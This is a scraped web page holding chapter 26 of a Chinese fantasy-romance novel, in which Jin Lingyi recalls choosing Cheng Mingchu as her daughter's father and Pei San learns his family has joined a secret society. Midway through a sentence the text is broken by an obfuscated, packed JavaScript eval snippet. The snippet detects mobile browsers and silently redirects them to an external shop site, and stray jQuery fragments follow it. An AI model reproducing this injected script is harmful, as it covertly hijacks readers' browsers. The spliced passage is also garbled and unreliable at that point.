文趣网 > 都市小说 > 如风有信 > 26.新局势
    秦歇看向金令仪,发现她正抬头看星空,不知道在想什么。

    他说:“要是没别的事,我出发了,赶得上兰州去青岛的早班飞机,才能在三天内和小刀汇合。”

    金令仪听到小刀的名字,看向他:“记得帮你家台正多照顾下他的女儿,你既然了解他,应该知道他很宝贝这个女儿。”

    “我会的。”秦歇答应着,脑海里飘过一个念头,如果他能早点认命,小刀本该是他的女儿,他会比台正更宝贝她。

    这念头就像风吹过水面,很快恢复如常,他也没再想。

    金令仪又交代:“这些话你不要告诉小刀。”

    她对女儿说,程明初去溯源99.9%是出于职责,只是担心万一他已经死了,女儿会自责。

    实际上是一半一半。

    在女儿出生以前,金令仪看程明初是越看越烦的。

    但选择他,是做足了功课的。为了这件事,她花了大半年时间,寻找突破口,先跟昊天那边的镖师搭上了线。

    镖师负责保护天师,和协风台走动最多,消息最灵通。

    她成功将这一代男天师浮于表面的信息摸了个遍,锁定了最拔尖的两个,台正程明初,台佐秦歇。

    她将两个人翻来覆去对比了不知道多少次。

    两人相差六岁,程明初当时三十,秦歇二十四。

    但程明初生来开天窍,生长速度缓慢,所以秦歇站他旁边,反而看着更像师哥。

    身体素质是头一道关,两个人都过了。

    主观上,她更倾向秦歇。毕竟对天师这层身份的好印象,是他留下的。在栗家见过一面,脸都没见着,却在之后的几年里,梦见过他好几回。

    但程明初是公认的更优秀。

    她听镖师说,上一代的大天师活了两百多岁,熬死了一堆徒弟,直到程明初出生,他亲自去接,才感叹自己终于可以退休了。

    金令仪是给女儿选基因,最终还是决定选更优秀的那个。

    但当程明初给她卜了一卦,说她的正缘近在眼前时,她以为是秦歇,疑惑自己是不是选错了,因此动摇过。

    程明初说累世因果不容易一眼看破,要去问一问风瞳,结果出去一两个小时,回来又改口说自己算错了,她这辈子没正缘。

    只失望一秒钟,她就接受了,继续把全部心思用在程明初身上。

    可这人一板一眼,实在让她难以忍受。

    确认借种成功那天,他给她把过脉,恭喜她要做母亲了,她回嘴说:“恭喜你要当爸爸了,这下可遂了你喜欢给人当爹的心愿。”

    都不等他反应,立马收工跑路。

    改观是在女儿出生以后。

    这家伙没有入世的经验,给她添了一堆麻烦,但他会低头,会学,照顾女儿更是任劳任怨,出了协风台,看不出一点大天师的架子。

    尤其是那半年,为了算女儿的生死劫,他的外貌年龄肉眼可见地往上涨,让喜欢喊他“老东西”的金令仪,反而喊不出口了。

    她和程明初之间没有感情,但女儿是牵住两人的那根线,这根线,比任何感情都要牢固。

    所以她心底,自然希望他还活着。

    “小秦啊。”金令仪又喊秦歇一声,“还有件事,你这趟过去小刀身边,多盯着那个小政客,别让他暗中使坏。你家台正算出他是小刀的正缘,可我不喜欢这个人。”

    秦歇还没动身,闻言微微一愣:“正缘?既然是契合你们功德道的缘分,按理说不会是个坏人。”

    “但也称不上好人。”金令仪关门之前,说,“重点是,我根本不信什么正缘。”

    ……

    重庆这边,金昭蘅几人停下来等着秦歇。

    两天后凌晨一点左右,裴三接到一通电话。

    招待所条件太差,隔脏床单原本带了两套,因为车子坏了一辆,后备箱塞不下,舍了一套。剩下那套给了金昭蘅。

    他躺不下去,这几天都是只脱了外套搭在椅背上,趴在桌上休息。

    挂了电话,直接抓起外套出了门。

    招待所斜对面的巷子里,停着一辆陆巡,驾驶座的车门敞着,裴三的大哥裴竞临坐在里面,手里拿着暗色的薄纸在叠千纸鹤。

    二哥裴竞峰靠在门边,裤兜漏出一截仿泰/瑟样式的电枪手柄,正抽着烟,低头跟车里的大哥低声说着什么。

    瞧见裴三出现在巷口,裴竞峰夹着烟的手抬了抬:“昭君,这边。”

    裴三若无其事地朝他们走去。

    裴家三兄弟穿衣风格差不多,都是深色系偏正装,外貌也偏清秀,看着都很斯文,但没一个文弱,个顶个的能打。

    裴家这一支从来不是纯文的路子,溯源到春秋纵横家,骑马射箭,随身配剑,都是老传统了。

    何况这一代头上悬着天谴,应当不是天雷劈顶,多半会落在一桩具体的灾祸上,由一个具体的凶手来执行。

    所以裴秉诚对他们三个的武力要求,可以说是极端苛刻,也从不吝啬往里面砸资源。

    “大哥,二哥。”裴三走到那扇敞开的车门前,“有什么电话里不能说,一定要见面谈?”

    他前几天给大伯父打过电话,询问自流会的事情,大伯父说从没听过,准备去打听一下。

    现在突然派两个儿子过来,估计和自流会有关。

    果不其然,车里坐着的裴竞临淡淡开口:“三弟,父亲让来告诉你一声,我们裴家加入了自流会。”

    裴三震惊的许久没能开口。

    裴竞峰朝他呼了一口烟,解释说:“是这样的,自流会的会长这两天和父亲见了个面,说你爸不是死在自流会手里,他是自杀,真要找个凶手,算是被程明初逼死的,你要恨,恨那个姓程的。”

    裴三的脸在烟雾里看不清,也不接话。

    裴竞峰挑眉:“怎么了,你怀疑父亲的判断力?”

    裴三正是因为不怀疑,才接不上话。

    大伯父向来清醒,每走一步都会深思熟虑,反复权衡。天谴在头上,突然加入自流会,这不是上杆子找死?

    裴三问:“加入的条件呢,自流会答应帮我们躲过天谴?”

    裴竞峰说:“废话,这个点加入,要对抗协风台和功德道,天谴会成倍翻,咱们图什么?”

    裴三说:“会长什么来头?”

    空头支票骗不过大伯父,除非这位会长就是支票本身,好像大天师、信客这类,自身就拥有直接帮人化劫、了结因果的力量。

    大伯父一见到他,就知道这局稳了,才会在两天内决定放弃拉拢信客,放弃这个坚持了十五年的计划,选择加入自流会。

    会长是天师?

    不会,天师入职和卸任都有仪式,在昊天眼前举行。在职天师要是包藏这种祸心,昊天眼会睁,直接将他劈死。

    而且当代没有比程明初更厉害的天师,能把他逼到死角。

    “不知道,父亲没说,我和大哥哪敢问啊?”裴竞峰看着裴三,笑了一下,“说是托了你的福,本来人家瞧不上咱们政客,没资格入会。可是会长在大巴山见到你,喜欢的不得了,怕你纠结你爸的死因,不敢单独拉拢你,才决定让咱们这些鸡犬跟着你一起升天。”

    “是发现我不容易对付,必须让利,让大伯父来控制我吧?”裴三的命,拴在裴秉诚手里那件家传法器上,要让他死,不过动一动手指的功夫。

    但眼下的形势,裴三死了也无济于事。

    金昭蘅他们会继续去找程明初,解封他,得知自流会的秘密。

    “会长打算将计就计,让我继续跟着金昭蘅走下去,变成他的内应?我身为调查自流会的发起人,这支队伍是由我操盘组起来的,没人会怀疑我,是不是?”

    不需要回答,裴三也知道,是。

    因为裴三曾设想过对方会走这一步棋,又很快否定了,觉得大伯父不会点头,太冒险,太激进,不是他的风格。

    裴三算是被上了一课,自己到底还是太年轻了,对超凡体系了解不够。任何判断,都得有足够的信息托着,不能只靠脑子转。

    裴竞临把车门拉上,抬起头,隔着玻璃睨他一眼:“三弟,回去等消息就好,该干什么干什么。”

    “别怕。”裴竞峰夹着烟的手拍拍裴三的肩膀,烟灰落在他毛料外套上,“上阵父子兵,打虎亲兄弟,我和大哥会在后头跟着,该到的时候会到。”

    ……

    回到招待所的房间里,没有开灯,裴三在椅子上坐定,开始分析这件事对自己的影响。

    表面上陷入了被动,但仔细一想,利大于弊。

    成为自流会的内应,他操盘的空间反而更大了,既能提前掌握自流会的动向,也能向对方放假消息,反向误导他们。

    可他能想到的,那位会长同样能想到,不会轻易收放消息。双方都要时刻警惕,小心甄别。

    但相较之下,会长已经输了一筹。

    会长的算计,全都建立在裴三的处境上:怕死才接受训练,讨好金昭蘅也是为了谋功德,做事一定会给自己留退路。

    可裴三不会。

    这逻辑很清晰,他活着的目标,是为了得到金昭蘅,前提是她必须活着。

    那么,为了保她平安,他可以死。

    赢面还是很大的,只是他这辈子,大概就真成笑话了。

    就像现在,十几年来熬出来的一条路,裴秉诚说变道就变道,仅仅是派儿子过来简单通知他一声。

    裴三忽地笑了,摸黑起身,把竖在墙角的琵琶盒提起来,取出那把琵琶,重新坐回椅子上。

    带着琵琶,主要目的还真不是为了勾引金昭蘅,更多是他自己有需要。

    就像他自己说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802113|207437||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的,曾经恨死了学这玩意,但等到学成之后,却成了他唯一能让自己静下来的东西。

    大半夜没法弹,只是这样竖抱在怀里就足够了,像溺水的人抱着浮木,至少这一刻,他不再往那口井里沉了。

    “咚。”很轻的一声敲门声。

    裴三恍惚了一瞬,循声朝房门望去,屋里很昏暗,走廊的灯光透过门缝淡淡渗进来。

    “你睡了么?”门外传来金昭蘅压得很低的声音,“是我。”

    裴三连忙把琵琶放桌上,走到门边,犹豫了下,没开灯,把房门打开。

    金昭蘅站在门外,穿着件皱巴巴的薄开衫,短发也有些乱糟糟,像是刚从被窝里爬出来。

    她耸着肩,抱着手臂,似乎有点冷,仰头看着他:“你在做什么?”

    裴三心口一沉,皱着眉头说:“我还能做什么,刚才睡不着,去外面转了转,正准备睡觉。”

    “真的?”

    “不然呢?”

    金昭蘅垫脚歪头,朝他右肩后方望,趁着走廊照进去的微光,瞧见了桌面的琵琶,确定不是自己幻听:“我刚才听到一声压弦的声音。”

    裴三微微一怔,刚才取琵琶的时候,手指确实蹭压到了琴弦,溢出过一声短促的弦响,声音很浅,甚至比不上窗外的虫鸣。

    他问:“你的听力这么好?”

    金昭蘅说:“我今晚也有点睡不着,周围这么安静,琵琶的弦响其实很容易辨认,大概是你听得多,免疫了吧。”

    裴三忙说:“对不起,吵到你了。”

    “你道什么歉?我是来看看你半夜不睡觉,拿琵琶出来做什么?”金昭蘅盯紧他的眼睛,看他是不是偷着哭了,“怎么了,心情不好么?要不要和我说说?”

    她没发现他有流泪的痕迹,只看到他眼底忽然涌现出的错愕。

    金昭蘅没见过他这样,看来是真难受了:“进去说吧,在门口可能影响别人。”

    裴三却没动。

    “不方便么?”金昭蘅以前没敲过他的房门,不知道他是不是领地意识比较重,“还是你想自己待着?”

    他没回答,也没看她,垂着眼睛不知道在想什么。

    金昭蘅这两天给学心理学的同学打过电话了,模糊掉身份,大概讲了讲他的情况。

    同学倒是诚实,说自己只是个学生,距离医生还差很远,给不了什么正经建议,就一条,在他情绪不好的时候多听听他的倾诉,但别急着让他说。

    金昭蘅等了几秒,点了下头:“行,那你自己待着吧,有需要可以过来找我。”

    她刚扭头打算回自己房间去,手腕就被他抓住,还没等她回过头,一股很蛮横的力道猛地将她往屋里一拽,力气大到令她踉跄。

    房门“咔哒”一声阖上了,隔断了走廊的光源,眼睛不习惯,陷入浓郁的黑暗。

    她还没站稳,裴三的手臂已经从身后环了过来,牢牢圈住她,将她整个人拢进了怀里,像抱着那把琵琶似的。

    唯一的不同是,他微微垂着脑袋,下巴安稳落在她的发顶。

    金昭蘅从来没被人这么抱过,一下子有点僵住,后背紧紧贴住他的胸口,后脑勺抵着他的锁骨,像被嵌进去了一样。

    等回过神,她立刻想挣扎。

    箍在她腰间的手臂反而收得更紧,裴三哽咽的声音自头顶沉沉压下来:“求你了,让我抱十秒钟,就十秒。”

    祈求的意味太明显了,金昭蘅狠不下心拒绝,绷着的肩背稍稍松懈,掰他手臂的手也放了,垂在身侧。

    耳边是他纷乱却有力的心跳声,她听着,在心里默默数数,像是在数那十秒钟。

    老旧的窗户关不严实,被风一带,窗框轻轻磕撞了一下,她却像惊弓之鸟,心口怦地一跳。

    等回过神,已经忘记数到哪里,但肯定超过了十秒。

    正想提醒他,金昭蘅忽然察觉到了一件事。

    他没穿外套,只隔着一层薄薄的衬衣,她能清晰感觉到贴在身后的躯体硬邦邦的。

    虽然很薄一层,但实打实都是肌肉。肩、胸、手臂都是,估计浑身都是。

    看他平时的模样,她一直以为他很清瘦。

    不行,脑子里怎么也没办法把那张柔弱的脸和这副躯体对上号。

    她几乎是下意识地,抬起垂在身侧的手,本想去摸他手臂,袖口扣子扣得结实,撸不上去,隔着衣服摸不出来。

    越界也是他先越的,算是他自找的,念头一闪而过,她反手滑进了他衬衣下摆,手掌贴上了他的腰侧。

    大概是她的手太冰凉,又像是按到了某个开关,正紧紧抱着她的裴三猛地弹开了,后背重重撞到了门板上,发出一声闷响。

    金昭蘅已经摸了个清楚,转过身,那只还留有触感的巴掌快要伸到他脸上去:“这么一身肌肉,整天哭哭唧唧的,你像话吗?”